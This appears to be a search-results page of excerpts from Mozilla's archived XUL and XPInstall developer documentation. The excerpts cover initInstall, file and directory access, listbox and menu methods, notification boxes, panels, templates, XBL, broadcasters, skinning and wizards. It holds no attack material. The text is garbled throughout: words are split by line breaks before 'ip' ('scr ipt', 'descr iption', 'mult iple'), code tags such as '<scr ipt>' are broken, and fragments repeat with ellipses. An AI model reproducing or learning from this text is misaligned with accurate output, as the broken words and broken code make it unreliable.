iption of the software registered for use with netscape 6. the registry name provided here is not the location of the software on the machine, it is the location of information about the software inside the registry. this distinction is important when you add components with the addfile method. version an installversion object or a string representing the version of the package being ...
...rsion an installversion object or a string representing the version of the package being installed. when version is a string it should be up to four integer values delimited by periods, such as "1.17.1999.1517". flags an optional field; reserved for future use. pass 0 as the default value. returns an integer error code. for a list of possible values, see return codes. ...
...reserved for future use. pass 0 as the default value. returns an integer error code. for a list of possible values, see return codes. descr
iption the initinstall method initializes the installation of the specified software. you must call this method immediately after the constructor. it is an error to call any other install methods before calling initinstall. after calling initinstall, your scr
ipt must call performinstall or cancelinstall before it finishes. if your scr
ipt does not call performinstall or cancelinstall, netscape 6 will not be able to clean up properly after your scr
ipt finishes. example to start installation for the royal airways plug-in, you could use this code: initinstall("royal airways tr
ipplanner","/royalairways/ tr
ipplanner","1.0.0.0"); ... err = getlasterror(); if...
WinRegValue - Archive of obsolete content
an object of this type ...
...an object of this type has two fields: the type of the data and the value. ...
...an object of this type has two fields: the type of the data and the value. for information on the possible data types for a registry value, see your windows api documentation. ...
XPInstall - Archive of obsolete content
available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. ...
...all.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <!-- properties --> </descr
iption> </rdf> cross-platform install (xpinstall) is a technology used by mozilla application suite, mozilla firefox, mozilla thunderbird and other xul-based applications for installing extensions. an xpi (pronounced "z
ippy" and derived from xpinstall) installer module is a z
ip file that contains an install scr
ipt or manifest (entitled install.js or install.rdf) at the root of the file. ...
...efox, mozilla thunderbird and other xul-based applications for installing extensions. an xpi (pronounced "z
ippy" and derived from xpinstall) installer module is a z
ip file that contains an install scr
ipt or manifest (entitled install.js or install.rdf) at the root of the file. documentation xpinstall api reference xpinstall api reference. learn xpi installer scr
ipting by example this article uses the installer scr
ipt from browser.xpi install package as the basis for discussing xpi installations in general. creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users. install wizards (aka: s...
Working With Directories - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. a reference to a directory may be created in the same ...
...you can access a subdirectory by supplying a directory name as the second argument, or refer to one of the special directories by supplying a null string for the second argument. ...
...formation about this. note that nsifile.append() modifies the file object, rather than returning a new one. both files and directories are represented using the same kind of object so most of the functions available for nsifile will work for both. you can check if the object refers to a directory or a file by using nsifile.isdirectory(). this method returns true if a file object returned by nsiscr
iptableio.getfile() refers to a directory, and false otherwise. there is also a corresponding nsifile.isfile() method to check if an object refers to a file. in both cases, the method fails if the file or directory does not exist, so you should check first using nsifile.exists(). var dir = io.getfile("desktop", "myfiles"); dir.append("pictures"); if (dir.exists() && dir.isdirectory()) alert("this ...
IO - Archive of obsolete content
file and stream guide: [ nsiscr
iptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscr
iptableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscr
iptableio apis: code sn
ippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. files and streams this section describes how to access...
..., reading textual data, writing textual data, list of file-related error codes. files and streams this section describes how to access and get information about files, read from files and create and write files. using files a xul application or extension may access files on disk, and either read or write to files. a file is accessed via a file object. to get a reference to a file object use nsiscr
iptableio.getfile(). the following example will retrieve a reference to a file located in the profile directory named sample.txt. var file = io.getfile("profile", "sample.txt"); the nsiscr
iptableio object is a global object always available within an application or extension. it provides a number of useful functions for dealing with files. retrieve a file object for information about getting a fil...
...o learn how to delete a file, see deleting a file. open and save dialogs you can show a dialog to the user to allow them to select a file to open or enter a filename for saving. for details about this, see open and save dialogs. file errors see file errors for a list of errors that might occur while using files. working with directories directories may be accessed in a similar manner using nsiscr
iptableio.getfile(). for instance, in the following example, a subdirectory is retrieved. if the name 'subdirname' refers to a directory, then the returned object will refer to this directory. the returned value is still a nsifile object, however a number of methods may be used which are only of value for subdirectories. var file = io.getfile("profile", "subdirname"); for more information about usi...
appendItem - Archive of obsolete content
<< xul reference home appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. ...
... << xul reference home appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. ...
...ist of items. you may optionally set a value. the function returns the newly created element. ...
appendNotification - Archive of obsolete content
s well. keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect. value - value used to identify the notification image - url of image to appear on the notification. if "" then an icon appropriate for the priority level is used. priority - notification priority; see priority levels. buttons - array of button descr
iptions to appear on the notification. eventcallback optional - a javascr
ipt function to call to notify you of interesting things that happen with the notification box. see notification box events. priority levels (defined as properties of notificationbox) : priority_info_low priority_info_medium priority_info_high priority_warning_low priority_warning_medium priority_warning_high pr...
...on box. see notification box events. priority levels (defined as properties of notificationbox) : priority_info_low priority_info_medium priority_info_high priority_warning_low priority_warning_medium priority_warning_high priority_critical_low priority_critical_medium priority_critical_high priority_critical_block buttons : the buttons argument is an array of button descr
iptions. each descr
iption is an object with the following properties: accesskey - the accesskey to appear on the button callback - function to be called when the button is activated. this function is passed three arguments: the <notification> the button is associated with the button descr
iption as passed to appendnotification. the element which was the target of the button press eve...
...ne default button. if no button has this set, the first button in the array is the default. type - a string. valid values are "menu-button" and "menu" which must be set if the button is to provide a popup via the popup property. notification box events requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) if you specify the eventcallback parameter, it should be a javascr
ipt function that gets called when interesting things happen related to the notification box. this function receives as its only parameter a string indicating what event occurred. at this time, there's just one event type: "removed". this indicates that the notification box has been removed from its window. example: function testnotificationboxwithbuttons() { //create some common variables if ...
insertItemAt - Archive of obsolete content
this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. ...
...ates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. ...
....tolocaletimestring(), somedate.gettime() ); var newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert at the selected item var newindex = mylistbox.selectedindex; mylistbox.insertitemat(newindex, somedate.tolocaletimestring(), somedate.gettime()); } // select the newly created item mylistbox.selectedindex = newindex; } </scr
ipt> <button label="insert item at selected" oncommand="insertitemtolist()"/> <listbox id="mylistbox"> <listitem label="foo"/> </listbox> see also appenditem() removeitemat() ...
removeItemAt - Archive of obsolete content
<< xul reference home removeitemat( index ) return type: element removes the child item in the element at the specified index. the method returns the removed item. ...
... << xul reference home removeitemat( index ) return type: element removes the child item in the element at the specified index. the method returns the removed item. ...
...ox = document.getelementbyid('mylistbox'); if(mylistbox.selectedindex == -1){ return; // no item selected so return }else{ mylistbox.removeitemat(mylistbox.selectedindex); } } function removeallitems(){ var mylistbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </scr
ipt> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all items" oncommand="removeallitems()"/> <listbox id="mylistbox"> <listitem label="alpha"/> <listitem label="beta"/> <listitem label="oscar"/> <listitem label="foxtrot"/> </listbox> see also removeallitems() insertitemat() ...
MenuItems - Archive of obsolete content
ge the state of the toolbar or status bar or whatever it is that need changing. you do not need to update the checked attribute as the menuitem will update this automatically before the command event is fired. note that the checked state is updated before the command event fires, so if you use the menuitem's checked attribute within the command listener, it will already be in the new state. <scr
ipt> function changetoolbarstate(event) { if (event.target.getattribute("checked") == "true") showtoolbar(); else hidetoolbar(); } </scr
ipt> ... <menuitem label="show toolbar" accesskey="t" type="checkbox" oncommand="changetoolbarstate();"/> in this example, we show the toolbar when the menuitem is checked and hide the toolbar otherwise. there may be times when you do not wa...
...if there's a possibility that whatever action is carried out could fail. one possibility is to simply reverse the checkbox state again. as this can be more complicated, it is also possible to use the autocheck attribute to disable this behavior. when the autocheck attribute is set to false, the checkbox state is not updated automatically, and you must write code to adjust the state yourself. <scr
ipt> function changetoolbarstate(event) { if (event.target.getattribute("checked") == "true") hidetoolbar(); event.target.removeattribute("checked"); } else { if (!showtoolbar()) return; event.target.setattribute("checked", "true"); } } </scr
ipt> ... <menuitem label="show toolbar" accesskey="t" type="checkbox" autocheck="false" oncommand="changetoolbarstate();...
...the command is disabled. if the disabled state of the command is changed, the menuitem updates accordingly. this is an advantage when attaching several menuitems or buttons to the same command, as the disabled state can be adjusted once for the command, and this will propagate to all elements attached to it. modifying a menuitem both the label and the access key may be changed dynamically in scr
ipt by setting the label and accesskey properties. note the mixed case of the accesskey property versus the lowercase usage of the accesskey attribute in xul. for instance, you might want to change the label of an undo menuitem based on what would be undone. the example below demonstrates this. if (gundobuffertype == "typing") menuitem.label = "undo typing"; else if (gundobuffertype == "paste") ...
MenuModification - Archive of obsolete content
modifying a menu menus have a number of methods which may be used to add and remove items. adding items to a menu the appenditem method may be used to append a new item to the end of the popup associated with a menu. this method will create a new menuitem element and insert it into the popup. this method may only be used with the menu element. <scr
ipt> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </scr
ipt> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed. this function appends a new item to the menu's popup with the label insert. the first argument to appenditem is the label of the menuitem, and the second argume...
...s in the following example: var item = menu.appenditem("insert", "insert"); item.accesskey = "i"; appending submenus there is no built-in method to append submenus to a menu. to do this, we instead need to use the inherited node modification methods available for all elements. first, we need to retrieve the menupopup for the menu, and then use the appendchild method to append a new item. <scr
ipt> function addsubmenu() { var popup = document.getelementbyid("file-popup"); var newmenu = document.createelement("menu"); popup.appendchild(newmenu); newmenu.label = "new"; newmenu.appenditem("document", "doc"); newmenu.appenditem("image", "image"); } </scr
ipt> <menu label="file" onpopupshowing="addsubmenu()"> <menupopup id="file-popup"/> </menu>. comment: appenditem not working...
.... if we were to use the example above, we would also want to make sure to remove the items again in a popuphiding event listener. otherwise, a new submenu would be added every time the menu is opened, which is clearly not desirable. another possibility is to ensure that the menu is only added once. the following shows how the addsubmenu function above might be rewritten to handle this case. <scr
ipt> function addsubmenu() { var popup = document.getelementbyid("file-popup"); if (popup.haschildnodes()) return; var newmenu = document.createelement("menu"); popup.appendchild(newmenu); newmenu.label = "new"; newmenu.appenditem("document", "doc"); newmenu.appenditem("image", "image"); } </scr
ipt> the haschildnodes method may be used to check if a node has any children. the fi...
Panels - Archive of obsolete content
l"> <panel id="search-panel"> <label control="name" value="name:"/> <textbox id="name"/> </panel> </button> </window> many panels will be associated with a button, as in this example. when the button is pressed, the panel is opened. clicking outside the panel or pressing escape will close the panel. you can also place a close button in the panel which will close the panel with a scr
ipt if desired. when you want to associate a panel with a button, place the <panel> element directly inside the button element. you also need to set the type attribute on the button to the value panel, or the button will look and behave like a regular button. the popup panel will, by default, appear with its topleft corner just underneath the bottom edge of the button, much as a menu does. the posi...
...information about this attribute and other possible values that can be used, see positioning popups. it is also possible to open a panel like a context menu using the context attribute instead of the popup attribute. this works just like using context menus except that the panel element is used instead of the menupopup element. see context menus for more details on this. opening a panel with scr
ipt the panel, like all popups, has an openpopup method which may be used to open the popup using a scr
ipt. for example, the following would open a panel underneath a button: panel.openpopup(button, "after_start", 0, 0, false, false); likewise, the openpopupatscreen method will open a panel at a specific screen position. for more details about both methods, see opening and closing popups. closi...
...ic screen position. for more details about both methods, see opening and closing popups. closing a panel a panel is closed automatically when the user clicks outside of the panel. it is quite common however, to have an element such as a button within the panel to close it as well. for instance, using the search panel example above, we could add a button which closes the panel when pressed: <scr
ipt> function dosearch() { document.getelementbyid("search-panel").hidepopup(); } </scr
ipt> <toolbarbutton label="search" type="panel"> <panel id="search-panel" position="after_start"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed. this function ...
Popup Guide - Archive of obsolete content
example, a popup search field could be used to allow searching and will disappear when a search term has been entered. a panel is created using the panel element. floating panels a floating popup is a type of panel with a titlebar and acts like an auxiliary window. usually it would contain tools related to the main window, or an inspector which displays properties of a selected element. toolt
ips when the mouse is positioned over a ui control, a toolt
ip provides a small box with descr
iptive help about that control. when the mouse is moved away from the control, the toolt
ip automatically disappears. a toolt
ip can be created by setting the toolt
iptext attribute on an element or by using the toolt
ip element. working with popups the following additional information is available about ma...
...for detailed information about how to open a popup see opening a popup or opening a menu. ...
...for detailed information about how to open a popup see opening a popup or opening a menu. closing a menu or popup for information about closing a popup, see closing a popup or closing a menu. ...
Property - Archive of obsolete content
dicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprinc
ipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaul...
...tle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaultvalue descr
iption dir disableautocomplete disableautocomplete disableautoselect disabled disablekeynavigation dlgtype docshell documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group ...
...ab selectionend selectionstart selstyle seltype sessioncount sessionhistory showcommentcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling tabpanels tag textlength textvalue timeout title toolbarname toolbarset toolt
ip toolt
iptext top treeboxobject type uri useraction value valuenumber view webbrowserefind webnavigation webprogress width wizardpages wraparound year yearleadingzero related dom element properties dom:element.attributes dom:element.baseuri dom:element.childelementcount dom:element.childnodes dom:element.children dom:element.clientheight dom:element...
Building Menus With Templates - Archive of obsolete content
<< previousnext >> menus may be generated using a template in the same manner as other elements. however, unlike with other elements, the content of a menu is only generated once the menu has been opened. this means that a menu created with a template will not have any of the generated items until the user opens the menu, or a scr
ipt opens the menu. this applies to menus on menubars, submenus, as well as menu-type buttons such as those with a type attribute set to menu. this allows for better performance as the entire content of a complex menu does not need to be created until the user needs to use the menu. it is very simple to create a menu using a template. here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <templ...
...tputs the action body for each one. the uri attribute has not been placed on the menupopup element which is the direct child of the action element but has instead been placed on the menuitem element. this causes the menupopup to only be created once. the menuitem elements however will be repeated for each result from the query. this makes sense, as we only want one menupopup to be created but mult
iple menuitem elements. the second button in the example displays an alert with the number of children the template-driven button has. if you press this button before opening the menu, there will be one child (the template itself). however, after the menu has been opened, there will be two children, one is the template and the other is the generated menupopup. note that the generated content does no...
...popup inside the action body. you can actually do this, however, you no longer receive the performance benefit as the entire content will be generated right away. the special feature of menus to not generate content immediately applies only to the menu itself. generating a recursive menu menus are often generated from a template recursively. when creating recursive menus, you will need to use mult
iple rules, since leaf items will need to be created differently than non-leaf items. leaf items will need to use a menuitem element whereas non-leaf items will need to use a menu element. this will involve at least two rules, although you might use other rules if you had other differences to handle. here is an rdf example: <button label="houses in my neighbourhood" type="menu" datasources="...
Introduction - Archive of obsolete content
ails of this later, the simple result here is that a listitem will be generated for each child node in the xml data, setting the label to the name attribute for each xml node. for sqlite datasources, the datasources attribute specifies the uri of a database file. only local files are supported, so a file url should be used. ...
...ces attribute specifies the uri of a database file. only local files are supported, so a file url should be used. if the datasource type supports it, the template builder can also use mult
iple datasources which are all combined into a single datasource as if they were all in one datasource to begin with. only the built-in rdf type supports this mechanism; the xml and sqlite types do not. when mult
iple datasources are used, an nsirdfcompositedatasource is created to hold all of the datasources. you can get this composite datasource in a scr
ipt by using an element's 'database' property if you want to add or remove datasources from it. when mult
iple datasources are used, the rdf is combined as if it were one large datasource. that means that a template query can grab data from anywhere in all o...
...lways included in the composite. the local store is a datasource which is usually used to hold state information such as window sizes, which columns in a tree are showing, and which tree items are open. you can query for any data in the local store in a template though this is rarely done. sometimes, you will want to specify the datasource to be used later, possibly determined dynamically by a scr
ipt. the special uri rdf:null is used to indicate that you intend no datasources, or an empty datasource. this special uri will also work even for non-rdf types, so feel free to use it when needed. it effectively means, use no datasource for this template, which will likely result in no output being generated. next >> ...
Recursive Generation - Archive of obsolete content
ration the parent insertion point is the element with the datasources attribute, in this example a <vbox>. for nested results, the insertion point is the generated element. ...
...added to it. for a nested item, the builder processes the query in the same way as usual, however instead of using the ref attribute as the seed starting point, the end point or member is used instead. this will correspond to the id on the appropriate element in the generated content above. ...
... generated content above. to begin, b is evaluated and seeded with the right value: (?start = http://www.xulplanet.com/rdf/b) the <tr
iple> statement is then examined, however, item b doesn't have a relateditem arc out of it, so the result is rejected. since there are no potential results, the builder doesn't generate anything. a similar situation will occur for item d. however, for item c, the tr
iple does match an item, so the data will be added to the potential result: (?start = http://www.xulplanet.com/rdf/c, ?relateditem = http://www.xulplanet.com/rdf/d) a match has occured, so the content within the action body will be created and added inside item c. since the ?start variable points to item c and the ?relateditem variable points to d, the buttons will be created with these labels. if...
SQLite Templates - Archive of obsolete content
bute on the root node of the template to the value storage. this will cause the datasource to be treated as an sqlite database. the datasources attribute may be set to one of two possible types of values. first, it may a file url pointing to a file on disk. in this case, you will often be setting the datasources attribute dynamically after determining the file path. (if you intend to set it by scr
ipt, you must set datasources in the xul to rdf:null). the second method involves using a special url form: profile:filename.sqlite this form with the 'profile' prefix is used to refer to files in the profile directory. this is useful for user data, and is suitable as you do not need to calculate where this directory is located. the file within this directory is specified after the colon, in this ...
...ts, six listitems will be generated. the labels have the special value '?name'. the syntax with the question mark is similar as with the other query types. it means, substitute the attribute value with the value of a column from the result. in this case, '?name' means replace this with the value of the name column. the effect is a listbox containing the names from the database. you can return mult
iple columns or filtered data by using a more complex query. <vbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name, email from myfriends where age >= 30 </query> <action> <hbox uri="?"> <label value="?name"/> <label value="?email"/> </hbox> </action> </template> </vbox> this template displays th...
...l="?name"/> </action> </template> </listbox> here, the age is an integer number, so the type attribute is set to integer. integers are 32-bit values, but you can use the value int64 for 64-bit integers. you can also use the value double for double precision floating point values. if no type is specified, a string is assumed. we could later change the age to use in the query with a short scr
ipt: function adjustage(min, max) { document.getelementbyid("minage").textcontent = min; document.getelementbyid("maxage").textcontent = max; document.getelementbyid("friends").builder.rebuild(); } this function takes two arguments, the minimum and maximum values to use. we retrieve the param elements and set their textcontent properties to the desired value. finally, we rebuild the entire te...
Things I've tried to do with XUL - Archive of obsolete content
; however, flex only applies to how empty space is allocated. so, as soon as you add a label or some other element inside, there will be a different amount of "empty space" to allocate in different boxes. enn: percentages won't have any effect in these examples though, since the actual height of the container isn't known, and 30% of an unknown number is still an unknown number. vlad: sure; the sn
ippets assume that there's some enclosing structure that will provide the actual height. wrap the whole thing in a <vbox height="300"> or something. :) silver: if you set height="0" and include "overflow: hidden" on each box that is sharing the space, current gecko will quite happily split the space out according to flex, ignoring the contents of each box, as desired. from my reading of the code, ju...
...t. html elements have the non-standard clientwidth/clientheight properties (see http://www.mozilla.org/docs/dom/domr...entheight.html); no equivalent exists for xul. ...
...ctual visible portion of the box (cl
ipped by the window borders, for example). this is assuming no scrolling is going on. resize event problems going with the inability to obtain the clientwidth/clientheight of xul elements, it's impossible to handle the "resize" event yourself to grow/shrink content as needed -- as you grow the content, when you shrink the window, the content will simply be cl
ipped (because now it has a bigger size than the window). you have no way of finding out what the cl
ipped size is, so you can never shrink the content. an ugly workaround for this problem might include nesting an invisible html-element in order to access its "clientwidth" method: <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/199...
Anonymous Content - Archive of obsolete content
scrollbar is bound to the xbl above: <scrollbar/> expands to: <scrollbar> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </scrollbar> the elements within the content tag are added to the scroll bar anonymously. although anonymous content is displayed on screen, you cannot get to it through a scr
ipt in the normal way. to the xul, it's as if there was only one single element, even though it is really made up of a number of elements. if you look at a scroll bar in a mozilla window, you will see that it is made up of an arrow button, a slider, a thumb inside it and a second arrow button at the end, which are the elements that appear in the xbl above. these elements would in turn be bound to ot...
... places. the includes attribute can be used to allow only certain elements to appear in the content. its value should be set to a single tag name, or to a list of tags separated by vertical bars (the | symbol). <children includes="button"/> this line will add all buttons that are children of the bound element in place of the children tag. other elements will not match this tag. you can place mult
iple children elements in a binding to place different types of content in different places. if an element in the xul does not match any of the children elements, that element (and any others that don't match) will be used instead of the bound content. here is another example. let's say that we wanted to create a widget that displayed an image with a zoom in and zoom out button on each side of it. t...
... <xul:button label="zoom out"/> </xul:box> </content> </binding> from the dom's perspective, the child elements are still in their original location. that is, the outer xul box has two children, which are the two images. the inner box with the border has one child, the children tag. this is an important distinction when using the dom with xbl. this also applies to css selector rules. mult
iple children elements you can also use mult
iple children elements and have certain elements be placed in one location and other elements placed in another. by adding a includes attribute and setting it to a vertical bar-separated list of tags, you can make only elements in that list be placed at that location. for example, the following xbl will cause text labels and buttons to appear in a differen...
Broadcasters and Observers - Archive of obsolete content
s adjusted once and propagated to other elements. this attribute forwarding is quite useful for a number of purposes. for instance, let's say that we want the back action in a browser to be disabled. we would need to disable the back command on the menu, the back button on the toolbar, the keyboard shortcut (alt+left for example) and any back commands on popup menus. although we could write a scr
ipt to do this, it is quite tedious. it also has the disadvantage that we would need to know all of the places where a back action could be. if someone added a new back button using an extension, it wouldn't be handled. it is convenient to simply disable the back action and have all the elements that issue the back action disable themselves. we can use the attribute forwarding of commands to accompl...
...value of the label attribute on the broadcaster changes, the observers will update the values of their label attributes also. we could continue with additional elements. as many elements as you want can observe a single broadcaster. you can also have only one if you wanted to but that would accomplish very little since the main reason for using broadcasters is to have attributes forwarded to mult
iple places. you should only use broadcasters when you need mult
iple elements that observe an attribute. below, some additional observers are defined: <broadcaster id="offline_command" label="offline" accesskey="f"/> <keyset> <key id="goonline_key" observes="offline_command" modifiers="accel" key="o"/> </keyset> <menuitem id="offline_menuitem" observes="offline_command"/> <toolbarbutton id="offl...
...n created, one labeled test and the other labeled observer. if you click on the test button, nothing special happens. however, if you click on the observer button, two things happen. first, the button changes to have red text and, second, an alert box appears with the message 'color changed'. what happens is the oncommand handler on the second button is called when the user presses on it. the scr
ipt here gets a reference to the broadcaster and changes the style of it to have a color that is red. the broadcaster is not affected by the style change because it doesn't display on the screen. however, the first button has an observer which notices the change in style. the element and the attribute on the observes tag detect the style change. the style is applied to the first button automatically...
Creating a Skin - Archive of obsolete content
ar,tabpanels { background-color: lightblue; border-top: 1px solid white; border-bottom: 1px solid #666666; border-left: 1px solid white; border-right: 1px solid #666666; } caption { background-color: lightblue; } the inner box of the window (which actually surrounds all of the window content) has been changed to have a medium blue color. you can see this blue behind the tab str
ip and along the bottom of the window. four elements, the menubar, the menupopup, the toolbar and the tabpanels appear in light blue. the border around these four elements has been changed to give a heavier 3d appearance. you can see this if you look closely. the background color of the caption has also been changed to match the background. the first rule above (for 'window > box') specifies th...
...n/icons/btn1.gif"); -moz-image-region: rect(48px 16px 64px 0); -moz-box-orient: vertical; } #savesearch { list-style-image: url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(80px 16px 96px 0); -moz-box-orient: vertical; } mozilla provides a custom style property -moz-image-region which can be used to make an element use part of an image. you can think of it as a cl
ip region for the image. you set the property to a position and size within an image and the button will display only that section of the image. this allows you to use the same image for mult
iple buttons and set a different region for each one. when you have lots of buttons, with states for hover, active and disabled, this saves space that would normally be occupied by mutl
iple images. in the code a...
...inor changes to the spacing around the items, by setting margins: tabbox { margin: 4px; } toolbarbutton { margin-left: 3px; margin-right: 3px; } after those changes, the find files dialog now looks like the image. as you can see, some simple changes to the style rules has resulted in quite a different appearance to the find files dialog. we could continue by changing the menus, the gr
ippies on the toolbar and the input and checkbox elements. creating a global skin the skin created above is simple and only applies to the find files dialog. some of the changes made to the skin could be placed in the global style sheets (those in the global directory of the skin) to be applied to all applications. for example, having different images for the check boxes in the find files dialog a...
Element Positioning - Archive of obsolete content
minimum width or height, the children cannot shrink smaller than that minimum size. examples of setting widths and heights <button label="1" style="width: 100px;"/> <button label="2" style="width: 100em; height: 10px;"/> <button label="3" flex="1" style="min-width: 50px;"/> <button label="4" flex="1" style="min-height: 2ex; max-width: 100px"/> <textbox flex="1" style="max-width: 10em;"/> <descr
iption style="max-width: 50px">this is some boring but simple wrapping text.</descr
iption> example 1 the first button will be displayed with a width of 100 pixels (px means pixels). you need to add the unit or the width will be ignored. example 2 the second button will be displayed with a height of ten pixels and a width of 100 ems (an em is the size of a character in the current font). ex...
... the height of the letter x in the current font) or wider than 100 pixels. example 5 the text input is flexible but will never grow to be larger than 10 ems. you will often want to use ems when specifying sizes with text in them. this unit is useful for textboxes so that the font can change and the textboxes would always be a suitable size, even if the font is very large. example 6 the descr
iption element is constrained to have a maximum width of 50 pixels. the text inside will wrap to the next line, after fifty pixels. our find files dialog let's add some of these styles to the find files dialog. we'll make it so that the textbox will resize to fit the entire window. <textbox id="find-text" flex="1" style="min-width: 15em;"/> here, the text input has been made flexible. this ...
...g text and buttons you could potentially create a button element that contains a label that is larger than the maximum width of the button. of course, a solution would be to increase the size of the button. however, buttons (and other elements with a label) have a special attribute called crop that allows you to specify how the text may be cropped if it is too big. if the text is cropped, an ell
ipsis (...) will appear on the button where the text was taken out. four possible values are valid: left the text is cropped on its left side right the text is cropped on its right side center the text is cropped in the middle. none the text is not cropped. this is the default value. this attribute is really only useful when a dialog has been designed to be useful at any size. the crop a...
More Wizards - Archive of obsolete content
e"> the wizard always starts at the first page, which in this case has the page id type. the next page is the one with the page id font, so the wizard will navigate to that page next. on the page with the page id font, we can see that the next page is done, so that page will be displayed afterwards. the page with the page id done has no next attribute, so this will be the last page. a scr
ipt will adjust the next attributes as necessary to go to the page with the page id color when needed. wizard functions the wizard works much like a tabbed panel, except that the tabs are not displayed and the user navigates between pages by using the buttons along the bottom. because all of the pages are part of the same file, all of the values of the fields on all pages will be remembered. thus, ...
...indicated by the onpageshow attribute. it is also called whenever a key is pressed in the textbox, to determine whether the next button should be enabled again. ...
...enabled again. wizard example source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </scr
ipt> <wizardpage onpageshow="checkcode(); return true;"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> there is also a corresponding canrewind property that you can use to enable or disable the back button. both properties a...
Progress Meters - Archive of obsolete content
if this is set to undetermined, the progress meter is indeterminate where you do not know the length of time. the value determined is the default if you do not specify this attribute. value the current value of the progress meter. you should only use this for a progress meter that is determinate. the value should be set to an integer percentage from 0 to 100. the value would be changed by a scr
ipt as the task completes. max the maximum value of the progress meter. should be used only with determinate. the find files example let's add a progress meter to our find file dialog. we would normally put an indeterminate progress meter as we don't know how many files we'll be searching or how long the search will take. however, we'll add a normal one for now as an animating one can be distr...
...files example let's add a progress meter to our find file dialog. we would normally put an indeterminate progress meter as we don't know how many files we'll be searching or how long the search will take. however, we'll add a normal one for now as an animating one can be distracting during development. the progress meter would normally only appear while the search is taking place. we'll add a scr
ipt later to turn it on and off. <textbox id="find-text"/> <html:progress value="50" max="100" style="margin: 4px;"/> <button id="find-button" label="find" default="true"/> the value has been set to 50% so that we can see the meter on the window. a margin has been set to 4 pixels so that it is separated from the edge of the window. as was stated earlier, we only want the progress bar to be disp...
...="find-text"/> <html:progress value="50" max="100" style="margin: 4px;"/> <button id="find-button" label="find" default="true"/> the value has been set to 50% so that we can see the meter on the window. a margin has been set to 4 pixels so that it is separated from the edge of the window. as was stated earlier, we only want the progress bar to be displayed while the search was occurring. a scr
ipt will show and hide it as necessary. to make this work you will first have to define the namespace html. do this by adding the below line to your opening window tag in the findfile.xul. xmlns:html="http://www.w3.org/1999/xhtml" the example so far. source view in the next section, we will learn how to add additional elements to the window using html. << previousnext >> ...
Skinning XUL Files by Hand - Archive of obsolete content
style, content, and structure. the chrome is everything in the front end of an application. much of what makes xul look (and act!) the way it does comes from the css for each xul element. css2, for example, gives you control over the absolute positioning of any element within its parent element. also, most of the behavior that buttons exhibit comes from styles and an event model based on javascr
